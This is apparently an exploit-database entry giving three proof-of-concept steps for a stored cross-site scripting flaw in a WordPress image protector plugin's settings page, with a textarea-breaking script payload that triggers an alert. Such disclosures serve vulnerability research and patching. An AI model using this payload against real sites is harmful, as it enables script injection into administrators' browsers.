## https://sploitus.com/exploit?id=WPEX-ID:2B59F640-5568-42BB-87B7-36EB448DB5BE
1. Go to http://example.com/wp-admin/admin.php?page=image-protector%2Fimage-protector.php.
2. Paste the payload in the user agent check input field: </textarea><script>alert(1008)</script>
3. Save changes, and XSS will be triggered.